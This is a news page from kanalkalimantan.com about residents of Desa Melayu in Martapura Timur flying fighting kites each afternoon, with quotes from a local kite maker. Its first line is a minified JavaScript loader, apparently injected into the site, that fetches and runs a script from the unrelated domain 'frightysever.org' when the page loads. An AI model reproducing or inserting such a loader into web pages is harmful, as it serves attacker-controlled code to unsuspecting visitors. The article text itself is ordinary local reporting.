(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Mau bernostalgia atau mengingat bagaimana serunya main layangan? Datang saja ke Desa Melayu, Kecamatan Martapura Timur, Kabupaten Banjar.
Ya, saat musim layangan ini setiap sorenya warga Desa Melayu dan sekitarnya memadati kawasan Jembatan KH Anang Syarani Arif dan bermain layangan. Rabu (26/8/2020) sore, kanalkalimantan.com mengunjungi dan melihat aktivitas warga bermain layangan.
Di sana, tidak hanya warga setempat, ada juga yang dari Kelampayan, Kecamatan Astambul yang sengaja datang dan ikut bermain layangan.
Tak heran jika setiap sore puluhan sepeda motor terparkir di kawasan itu. Belasan layangan mengudara, dan puluhan bahkan sampai seratusan lebih warga menyaksikan warga lainnya bermain layangan.
Mereka bermain layangan dari pukul 16:30 sampai dengan pukul 18:00 Wita. Masyarakat bermain layangan untuk diadu. Layangan yang sedang terbang beradu sesama layang-layang, siapa putus dia yang kalah.
Saat dua benang layangan bergesekan, layangan meliuk-liuk digerakkan pemainnya, penonton bersorak memberi dukungan kepada jagoan masing-masing.
Keseruan makin bertambah ketika ada layangan yang putus. Sorak sorai dari puluhan bahkan sampai lebih seratus warga yang menyaksikan adu layangan bergemuruh.
Tak sampai di situ, saat layangan putus, sejumlah bocah berlarian mengejar. Seru!
Tidak hanya anak anak, remaja, bahkan orang tua pun ikut bermain layang layang di sepanjang Jalan KH Anang Syarani Arif, Kampung Melayu, Kecamatan Martapura Timur itu.
Mikdat, seorang warga Desa Melayu, mengaku hampir setiap hari, pada sore hari bermain layang layang
“Setiap sore main layang-layang di sini, dan saya membawa enam layangan,” ungkap dia kepada kanalkalimantan.com.
Layangan yang dibawa, papar dia, bikinan sendiri.
“Bikin sendiri, kalau beli agak boros uang, kalau bikin sendiri kan kita bisa membentuk layang layang yang kita bikin mau besar atau kecil,” katanya.
“Intinya, dalam sehari saya bikin enam layangan, dan dua benang nilon untuk bermain layangan di sini,” pungkas dia.(kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.